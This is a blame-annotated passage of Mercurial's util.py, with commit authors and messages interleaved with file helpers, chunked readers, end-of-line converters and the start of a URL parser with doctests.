util: make atomictempfile avoid ambiguity of file stat if needed...
r29201 if oldstat and oldstat.stat:
rename(self._tempname, filename)
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 newstat = filestat.frompath(filename)
FUJIWARA Katsunori
util: make atomictempfile avoid ambiguity of file stat if needed...
r29201 if newstat.isambig(oldstat):
# stat of changed file is ambiguous to original one
Augie Fackler
formatting: blacken the codebase...
r43346 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
FUJIWARA Katsunori
util: make atomictempfile avoid ambiguity of file stat if needed...
r29201 os.utime(filename, (advanced, advanced))
else:
rename(self._tempname, filename)
Alexis S. L. Carvalho
turn util.opener into a class
r4827
Greg Ward
atomictempfile: make close() consistent with other file-like objects....
r15057 def discard(self):
Benoit Boissinot
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)...
r8785 if not self._fp.closed:
Alexis S. L. Carvalho
turn util.opener into a class
r4827 try:
Greg Ward
atomictempfile: avoid infinite recursion in __del__()....
r14007 os.unlink(self._tempname)
except OSError:
pass
Bryan O'Sullivan
atomictempfile: delegate to posixfile instead of inheriting from it
r8327 self._fp.close()
Alexis S. L. Carvalho
turn util.opener into a class
r4827
Dan Villiom Podlaski Christiansen
util: make atomicfiles closable
r13098 def __del__(self):
Augie Fackler
formatting: blacken the codebase...
r43346 if safehasattr(self, '_fp'): # constructor actually did something
Greg Ward
atomictempfile: make close() consistent with other file-like objects....
r15057 self.discard()
Dan Villiom Podlaski Christiansen
util: make atomicfiles closable
r13098
Martijn Pieters
atomictempfile: add context manager support...
r29394 def __enter__(self):
return self
def __exit__(self, exctype, excvalue, traceback):
if exctype is not None:
self.discard()
else:
self.close()
Augie Fackler
formatting: blacken the codebase...
r43346
Kyle Lippincott
unlinkpath: make empty directory removal optional (issue5901) (issue5826)...
r38512 def unlinkpath(f, ignoremissing=False, rmdir=True):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bool, bool) -> None
Ryan McElroy
util: unify unlinkpath...
r31539 """unlink and remove the directory if it is empty"""
Ryan McElroy
util: use tryunlink in unlinkpath...
r31541 if ignoremissing:
tryunlink(f)
else:
Ryan McElroy
util: unify unlinkpath...
r31539 unlink(f)
Kyle Lippincott
unlinkpath: make empty directory removal optional (issue5901) (issue5826)...
r38512 if rmdir:
# try removing directories that might now be empty
try:
removedirs(os.path.dirname(f))
except OSError:
pass
Ryan McElroy
util: unify unlinkpath...
r31539
Augie Fackler
formatting: blacken the codebase...
r43346
Ryan McElroy
util: add tryunlink function...
r31540 def tryunlink(f):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> None
Ryan McElroy
util: add tryunlink function...
r31540 """Attempt to remove a file, ignoring ENOENT errors."""
try:
unlink(f)
except OSError as e:
if e.errno != errno.ENOENT:
raise
Augie Fackler
formatting: blacken the codebase...
r43346
Angel Ezquerra
util: add notindexed optional parameter to makedirs function
r18938 def makedirs(name, mode=None, notindexed=False):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, Optional[int], bool) -> None
Adam Simpkins
util: fix race in makedirs()...
r29017 """recursive directory creation with parent mode inheritance
Newly created directories are marked as "not to be indexed by
the content indexing service", if ``notindexed`` is specified
for "write" mode access.
"""
Alexis S. L. Carvalho
Make files in .hg inherit the permissions from .hg/store
r6062 try:
Angel Ezquerra
util: add notindexed optional parameter to makedirs function
r18938 makedir(name, notindexed)
Gregory Szorc
global: mass rewrite to use modern exception syntax...
r25660 except OSError as err:
Alexis S. L. Carvalho
Make files in .hg inherit the permissions from .hg/store
r6062 if err.errno == errno.EEXIST:
return
Adrian Buehlmann
util: postpone and reorder parent calculation in makedirs
r15058 if err.errno != errno.ENOENT or not name:
raise
parent = os.path.dirname(os.path.abspath(name))
if parent == name:
Alexis S. L. Carvalho
Make files in .hg inherit the permissions from .hg/store
r6062 raise
Angel Ezquerra
util: add notindexed optional parameter to makedirs function
r18938 makedirs(parent, mode, notindexed)
Adam Simpkins
util: fix race in makedirs()...
r29017 try:
makedir(name, notindexed)
except OSError as err:
# Catch EEXIST to handle races
if err.errno == errno.EEXIST:
return
raise
Bryan O'Sullivan
util: make ensuredirs safer against races
r18678 if mode is not None:
os.chmod(name, mode)
Bryan O'Sullivan
scmutil: create directories in a race-safe way during update...
r18668
Augie Fackler
formatting: blacken the codebase...
r43346
Dan Villiom Podlaski Christiansen
util: add readfile() & writefile() helper functions...
r14099 def readfile(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 with open(path, b'rb') as fp:
Matt Mackall
util: really drop size from readfile
r14100 return fp.read()
Dan Villiom Podlaski Christiansen
util: add readfile() & writefile() helper functions...
r14099
Augie Fackler
formatting: blacken the codebase...
r43346
Dan Villiom Podlaski Christiansen
util & scmutil: adapt read/write helpers as request by mpm
r14167 def writefile(path, text):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bytes) -> None
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 with open(path, b'wb') as fp:
Dan Villiom Podlaski Christiansen
util & scmutil: adapt read/write helpers as request by mpm
r14167 fp.write(text)
Augie Fackler
formatting: blacken the codebase...
r43346
Dan Villiom Podlaski Christiansen
util & scmutil: adapt read/write helpers as request by mpm
r14167 def appendfile(path, text):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bytes) -> None
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 with open(path, b'ab') as fp:
Dan Villiom Podlaski Christiansen
util: add readfile() & writefile() helper functions...
r14099 fp.write(text)
Augie Fackler
formatting: blacken the codebase...
r43346
Eric Hopper
Created a class in util called chunkbuffer that buffers reads from an...
r1199 class chunkbuffer(object):
"""Allow arbitrary sized chunks of data to be efficiently read from an
iterator over chunks of arbitrary size."""
Bryan O'Sullivan
Minor cleanups.
r1200
Matt Mackall
chunkbuffer: removed unused method and arg
r5446 def __init__(self, in_iter):
Martin von Zweigbergk
util: remove doc of long gone 'targetsize' argument...
r32123 """in_iter is the iterator that's iterating over the input chunks."""
Augie Fackler
formatting: blacken the codebase...
r43346
Benoit Boissinot
chunkbuffer: split big strings directly in chunkbuffer
r11670 def splitbig(chunks):
for chunk in chunks:
Augie Fackler
formatting: blacken the codebase...
r43346 if len(chunk) > 2 ** 20:
Benoit Boissinot
chunkbuffer: split big strings directly in chunkbuffer
r11670 pos = 0
while pos < len(chunk):
end = pos + 2 ** 18
yield chunk[pos:end]
pos = end
else:
yield chunk
Augie Fackler
formatting: blacken the codebase...
r43346
Benoit Boissinot
chunkbuffer: split big strings directly in chunkbuffer
r11670 self.iter = splitbig(in_iter)
Martin von Zweigbergk
util: drop alias for collections.deque...
r25113 self._queue = collections.deque()
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 self._chunkoffset = 0
Bryan O'Sullivan
Minor cleanups.
r1200
Pierre-Yves David
util: support None size in chunkbuffer.read()...
r21018 def read(self, l=None):
Bryan O'Sullivan
Minor cleanups.
r1200 """Read L bytes of data from the iterator of chunks of data.
Pierre-Yves David
util: support None size in chunkbuffer.read()...
r21018 Returns less than L bytes if the iterator runs dry.
Mads Kiilerich
spelling: fixes from proofreading of spell checker issues
r23139 If size parameter is omitted, read everything"""
Gregory Szorc
util.chunkbuffer: special case reading everything...
r26478 if l is None:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''.join(self.iter)
Gregory Szorc
util.chunkbuffer: special case reading everything...
r26478
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758 left = l
Matt Mackall
util: make chunkbuffer non-quadratic on Windows...
r17962 buf = []
Bryan O'Sullivan
util: simplify queue management in chunkbuffer...
r16873 queue = self._queue
Gregory Szorc
util.chunkbuffer: special case reading everything...
r26478 while left > 0:
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758 # refill the queue
if not queue:
Augie Fackler
formatting: blacken the codebase...
r43346 target = 2 ** 18
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758 for chunk in self.iter:
queue.append(chunk)
target -= len(chunk)
if target <= 0:
break
if not queue:
Eric Hopper
Created a class in util called chunkbuffer that buffers reads from an...
r1199 break
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 # The easy way to do this would be to queue.popleft(), modify the
# chunk (if necessary), then queue.appendleft(). However, for cases
# where we read partial chunk content, this incurs 2 dequeue
# mutations and creates a new str for the remaining chunk in the
# queue. Our code below avoids this overhead.
Gregory Szorc
util.chunkbuffer: refactor chunk handling logic...
r26479 chunk = queue[0]
chunkl = len(chunk)
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 offset = self._chunkoffset
Gregory Szorc
util.chunkbuffer: refactor chunk handling logic...
r26479
# Use full chunk.
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 if offset == 0 and left >= chunkl:
Gregory Szorc
util.chunkbuffer: refactor chunk handling logic...
r26479 left -= chunkl
queue.popleft()
buf.append(chunk)
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 # self._chunkoffset remains at 0.
continue
chunkremaining = chunkl - offset
# Use all of unconsumed part of chunk.
if left >= chunkremaining:
left -= chunkremaining
queue.popleft()
# offset == 0 is enabled by block above, so this won't merely
# copy via ``chunk[0:]``.
buf.append(chunk[offset:])
self._chunkoffset = 0
Gregory Szorc
util.chunkbuffer: refactor chunk handling logic...
r26479 # Partial chunk needed.
else:
Augie Fackler
formatting: blacken the codebase...
r43346 buf.append(chunk[offset : offset + left])
Gregory Szorc
util.chunkbuffer: avoid extra mutations when reading partial chunks...
r26480 self._chunkoffset += left
left -= chunkremaining
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''.join(buf)
Matt Mackall
chunkbuffer: use += rather than cStringIO to reduce memory footprint...
r11758
Augie Fackler
formatting: blacken the codebase...
r43346
Mads Kiilerich
util: increase filechunkiter size to 128k...
r30181 def filechunkiter(f, size=131072, limit=None):
Vadim Gelfer
util: add limit to amount filechunkiter will read
r2462 """Create a generator that produces the data in the file size
Mads Kiilerich
util: increase filechunkiter size to 128k...
r30181 (default 131072) bytes at a time, up to optional limit (default is
Vadim Gelfer
util: add limit to amount filechunkiter will read
r2462 to read all data). Chunks may be less than size bytes if the
chunk is the last chunk in the file, or the file is a socket or
some other type of file that sometimes reads less data than is
requested."""
assert size >= 0
assert limit is None or limit >= 0
while True:
Matt Mackall
many, many trivial check-code fixups
r10282 if limit is None:
nbytes = size
else:
nbytes = min(limit, size)
Vadim Gelfer
util: add limit to amount filechunkiter will read
r2462 s = nbytes and f.read(nbytes)
Matt Mackall
many, many trivial check-code fixups
r10282 if not s:
break
if limit:
limit -= len(s)
Eric Hopper
Created a class in util called chunkbuffer that buffers reads from an...
r1199 yield s
Bryan O'Sullivan
Fix up representation of dates in hgweb....
r1320
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: add a file object proxy that can read at most N bytes...
r36382 class cappedreader(object):
"""A file object proxy that allows reading up to N bytes.
Given a source file object, instances of this type allow reading up to
N bytes from that source file object. Attempts to read past the allowed
limit are treated as EOF.
It is assumed that I/O is not performed on the original file object
in addition to I/O that is performed by this instance. If there is,
state tracking will get out of sync and unexpected results will ensue.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: add a file object proxy that can read at most N bytes...
r36382 def __init__(self, fh, limit):
"""Allow reading up to <limit> bytes from <fh>."""
self._fh = fh
self._left = limit
def read(self, n=-1):
if not self._left:
return b''
if n < 0:
n = self._left
data = self._fh.read(min(n, self._left))
self._left -= len(data)
assert self._left >= 0
return data
Gregory Szorc
wireproto: implement basic frame reading and processing...
r37070 def readinto(self, b):
res = self.read(len(b))
if res is None:
return None
Augie Fackler
formatting: blacken the codebase...
r43346 b[0 : len(res)] = res
Gregory Szorc
wireproto: implement basic frame reading and processing...
r37070 return len(res)
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
util: generalize bytecount to unitcountfn...
r18735 def unitcountfn(*unittable):
'''return a function that renders a readable count of some quantity'''
def go(count):
for multiplier, divisor, format in unittable:
Gábor Stefanik
util: fix human-readable printing of negative byte counts...
r31946 if abs(count) >= divisor * multiplier:
Bryan O'Sullivan
util: generalize bytecount to unitcountfn...
r18735 return format % (count / float(divisor))
return unittable[-1][2] % count
return go
Augie Fackler
formatting: blacken the codebase...
r43346
Denis Laxalde
revset: factor out linerange processing into a utility function...
r31662 def processlinerange(fromline, toline):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (int, int) -> Tuple[int, int]
Denis Laxalde
revset: factor out linerange processing into a utility function...
r31662 """Check that linerange <fromline>:<toline> makes sense and return a
0-based range.
>>> processlinerange(10, 20)
(9, 20)
>>> processlinerange(2, 1)
Traceback (most recent call last):
...
ParseError: line range must be positive
>>> processlinerange(0, 5)
Traceback (most recent call last):
...
ParseError: fromline must be strictly positive
"""
if toline - fromline < 0:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.ParseError(_(b"line range must be positive"))
Denis Laxalde
revset: factor out linerange processing into a utility function...
r31662 if fromline < 1:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.ParseError(_(b"fromline must be strictly positive"))
Denis Laxalde
revset: factor out linerange processing into a utility function...
r31662 return fromline - 1, toline
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
util: generalize bytecount to unitcountfn...
r18735 bytecount = unitcountfn(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 (100, 1 << 30, _(b'%.0f GB')),
(10, 1 << 30, _(b'%.1f GB')),
(1, 1 << 30, _(b'%.2f GB')),
(100, 1 << 20, _(b'%.0f MB')),
(10, 1 << 20, _(b'%.1f MB')),
(1, 1 << 20, _(b'%.2f MB')),
(100, 1 << 10, _(b'%.0f KB')),
(10, 1 << 10, _(b'%.1f KB')),
(1, 1 << 10, _(b'%.2f KB')),
(1, 1, _(b'%.0f bytes')),
Augie Fackler
formatting: blacken the codebase...
r43346 )
Matt Mackall
util: create bytecount array just once...
r16397
Yuya Nishihara
py3: wrap file object to write patch in native eol preserving byte-ness
r36855 class transformingwriter(object):
"""Writable file wrapper to transform data by function"""
def __init__(self, fp, encode):
self._fp = fp
self._encode = encode
def close(self):
self._fp.close()
def flush(self):
self._fp.flush()
def write(self, data):
return self._fp.write(self._encode(data))
Augie Fackler
formatting: blacken the codebase...
r43346
Yuya Nishihara
util: extract pure tolf/tocrlf() functions from eol extension...
r31776 # Matches a single EOL which can either be a CRLF where repeated CR
# are removed or a LF. We do not care about old Macintosh files, so a
# stray CR is an error.
_eolre = remod.compile(br'\r*\n')
Augie Fackler
formatting: blacken the codebase...
r43346
Yuya Nishihara
util: extract pure tolf/tocrlf() functions from eol extension...
r31776 def tolf(s):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return _eolre.sub(b'\n', s)
Yuya Nishihara
util: extract pure tolf/tocrlf() functions from eol extension...
r31776
Augie Fackler
formatting: blacken the codebase...
r43346
Yuya Nishihara
util: extract pure tolf/tocrlf() functions from eol extension...
r31776 def tocrlf(s):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return _eolre.sub(b'\r\n', s)
Yuya Nishihara
util: extract pure tolf/tocrlf() functions from eol extension...
r31776
Augie Fackler
formatting: blacken the codebase...
r43346
Yuya Nishihara
py3: wrap file object to write patch in native eol preserving byte-ness
r36855 def _crlfwriter(fp):
return transformingwriter(fp, tocrlf)
Augie Fackler
formatting: blacken the codebase...
r43346
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if pycompat.oslinesep == b'\r\n':
Yuya Nishihara
util: add helper to convert between LF and native EOL...
r31777 tonativeeol = tocrlf
fromnativeeol = tolf
Yuya Nishihara
py3: wrap file object to write patch in native eol preserving byte-ness
r36855 nativeeolwriter = _crlfwriter
Yuya Nishihara
util: add helper to convert between LF and native EOL...
r31777 else:
tonativeeol = pycompat.identity
fromnativeeol = pycompat.identity
Yuya Nishihara
py3: wrap file object to write patch in native eol preserving byte-ness
r36855 nativeeolwriter = pycompat.identity
Yuya Nishihara
util: add helper to convert between LF and native EOL...
r31777
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
Augie Fackler
formatting: blacken the codebase...
r43346 3,
0,
):
Jun Wu
util: improve iterfile so it chooses code path wisely...
r30418 # There is an issue in CPython that some IO methods do not handle EINTR
# correctly. The following table shows what CPython version (and functions)
# are affected (buggy: has the EINTR bug, okay: otherwise):
#
# | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
# --------------------------------------------------
# fp.__iter__ | buggy | buggy | okay
# fp.read* | buggy | okay [1] | okay
#
# [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
#
# Here we workaround the EINTR issue for fileobj.__iter__. Other methods
Manuel Jacob
cleanup: remove compatibility code for Python < 2.7.4...
r45404 # like "read*" work fine, as we do not support Python < 2.7.4.
Jun Wu
util: improve iterfile so it chooses code path wisely...
r30418 #
# Although we can workaround the EINTR issue for fp.__iter__, it is slower:
# "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
# CPython 2, because CPython 2 maintains an internal readahead buffer for
# fp.__iter__ but not other fp.read* methods.
#
# On modern systems like Linux, the "read" syscall cannot be interrupted
# when reading "fast" files like on-disk files. So the EINTR issue only
# affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
# files approximately as "fast" files and use the fast (unsafe) code path,
# to minimize the performance impact.
def iterfile(fp):
fastpath = True
if type(fp) is file:
fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
if fastpath:
return fp
else:
Manuel Jacob
cleanup: remove compatibility code for Python < 2.7.4...
r45404 # fp.readline deals with EINTR correctly, use it as a workaround.
return iter(fp.readline, b'')
Augie Fackler
formatting: blacken the codebase...
r43346
Jun Wu
util: improve iterfile so it chooses code path wisely...
r30418 else:
# PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
def iterfile(fp):
return fp
Jun Wu
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR...
r30395
Augie Fackler
formatting: blacken the codebase...
r43346
Alexander Solovyov <piranha at piranha.org.ua>
templater: ability to display diffstat for log-like commands
r7879 def iterlines(iterator):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (Iterator[bytes]) -> Iterator[bytes]
Alexander Solovyov <piranha at piranha.org.ua>
templater: ability to display diffstat for log-like commands
r7879 for chunk in iterator:
for line in chunk.splitlines():
yield line
Alexander Solovyov
make path expanding more consistent...
r9610
Augie Fackler
formatting: blacken the codebase...
r43346
Alexander Solovyov
make path expanding more consistent...
r9610 def expandpath(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Alexander Solovyov
make path expanding more consistent...
r9610 return os.path.expanduser(os.path.expandvars(path))
Patrick Mezard
Find right hg command for detached process...
r10239
Augie Fackler
formatting: blacken the codebase...
r43346
Roman Sokolov
dispatch: support for $ escaping in shell-alias definition...
r13392 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
Steve Losh
util: add an interpolate() function to for replacing multiple values...
r11988 """Return the result of interpolating items in the mapping into string s.
prefix is a single character string, or a two character string with
a backslash as the first character if the prefix needs to be escaped in
a regular expression.
fn is an optional function that will be applied to the replacement text
just before replacement.
Roman Sokolov
dispatch: support for $ escaping in shell-alias definition...
r13392
escape_prefix is an optional flag that allows using doubled prefix for
its escaping.
Steve Losh
util: add an interpolate() function to for replacing multiple values...
r11988 """
fn = fn or (lambda s: s)
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 patterns = b'|'.join(mapping.keys())
Roman Sokolov
dispatch: support for $ escaping in shell-alias definition...
r13392 if escape_prefix:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 patterns += b'|' + prefix
Roman Sokolov
dispatch: support for $ escaping in shell-alias definition...
r13392 if len(prefix) > 1:
prefix_char = prefix[1:]
else:
prefix_char = prefix
mapping[prefix_char] = prefix_char
Pulkit Goyal
py3: add b'' to regular expressions which are raw strings...
r35145 r = remod.compile(br'%s(%s)' % (prefix, patterns))
Steve Losh
util: add an interpolate() function to for replacing multiple values...
r11988 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
Augie Fackler
formatting: blacken the codebase...
r43346
Brodie Rao
mail/hgweb: support service names for ports (issue2350)...
r12076 def getport(port):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (Union[bytes, int]) -> int
Brodie Rao
mail/hgweb: support service names for ports (issue2350)...
r12076 """Return the port for a given network service.
If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
Pierre-Yves David
error: get Abort from 'error' instead of 'util'...
r26587 service, error.Abort is raised.
Brodie Rao
mail/hgweb: support service names for ports (issue2350)...
r12076 """
try:
return int(port)
except ValueError:
pass
try:
Gregory Szorc
py3: pass system string to socket.getservbyname...
r36055 return socket.getservbyname(pycompat.sysstr(port))
Brodie Rao
mail/hgweb: support service names for ports (issue2350)...
r12076 except socket.error:
Augie Fackler
formatting: blacken the codebase...
r43346 raise error.Abort(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(b"no port number associated with service '%s'") % port
Augie Fackler
formatting: blacken the codebase...
r43346 )
Augie Fackler
parsebool: create new function and use it for config parsing
r12087
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 class url(object):
Mads Kiilerich
tests: use raw string for url tests of '\' handling
r14146 r"""Reliable URL parser.
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
This parses URLs and provides attributes for the following
components:
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.
If parsefragment is False, fragment is included in query. If
parsequery is False, query is included in path. If both are
False, both fragment and query are included in path.
See http://www.ietf.org/rfc/rfc2396.txt for more information.
Note that for backward compatibility reasons, bundle URLs do not
take host names. That means 'bundle://../' has a path of '../'.
Examples:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'ssh://[::1]:2200//home/joe/repo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'file:///home/joe/repo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'file', path: '/home/joe/repo'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'file:///c:/temp/foo/')
Matt Mackall
url: handle urls of the form file:///c:/foo/bar/ correctly
r14915 <url scheme: 'file', path: 'c:/temp/foo/'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'bundle:foo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'bundle', path: 'foo'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'bundle://../foo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'bundle', path: '../foo'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(br'c:\foo\bar')
Mads Kiilerich
tests: use raw string for url tests of '\' handling
r14146 <url path: 'c:\\foo\\bar'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(br'\\blah\blah\blah')
Matt Mackall
url: catch UNC paths as yet another Windows special case (issue2808)
r14699 <url path: '\\\\blah\\blah\\blah'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(br'\\blah\blah\blah#baz')
Matt Mackall
url: parse fragments first (issue2997)
r15074 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(br'file:///C:\users\me')
Simon Heimberg
util: url keeps backslash in paths...
r20106 <url scheme: 'file', path: 'C:\\users\\me'>
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
Authentication credentials:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'ssh://joe:xyz@x/repo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'ssh://joe@x/repo')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
Query strings and fragments:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http://host/a?b#c')
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 <url scheme: 'http', host: 'host', path: 'a?b#c'>
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036
Empty path:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'')
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036 <url path: ''>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'#a')
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036 <url path: '', fragment: 'a'>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http://host/')
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036 <url scheme: 'http', host: 'host', path: ''>
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http://host/#a')
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
Only scheme:
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> url(b'http:')
Yuya Nishihara
url: fix crash by empty path with #fragments...
r30036 <url scheme: 'http'>
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 """
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _safechars = b"!~*'()+"
_safepchars = b"/!~*'()+:\\"
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076
def __init__(self, path, parsequery=True, parsefragment=True):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bool, bool) -> None
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 # We slowly chomp away at path until we have only the path left
self.scheme = self.user = self.passwd = self.host = None
self.port = self.path = self.query = self.fragment = None
self._localpath = True
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self._hostport = b''
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 self._origpath = path
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if parsefragment and b'#' in path:
path, self.fragment = path.split(b'#', 1)
Matt Mackall
url: parse fragments first (issue2997)
r15074
Matt Mackall
url: catch UNC paths as yet another Windows special case (issue2808)
r14699 # special case for Windows drive letters and UNC paths
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if hasdriveletter(path) or path.startswith(b'\\\\'):
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 self.path = path
return
# For compatibility reasons, we can't handle bundle paths as
# normal URLS
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if path.startswith(b'bundle:'):
self.scheme = b'bundle'
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 path = path[7:]
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if path.startswith(b'//'):
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 path = path[2:]
self.path = path
return
if self._matchscheme(path):
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 parts = path.split(b':', 1)
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 if parts[0]:
self.scheme, path = parts
self._localpath = False
if not path:
path = None
if self._localpath:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self.path = b''
Brodie Rao
url: move URL parsing functions into util to improve startup time...
r14076 return
else:
if self._localpath:
self.path = path
return
Augie Fackler
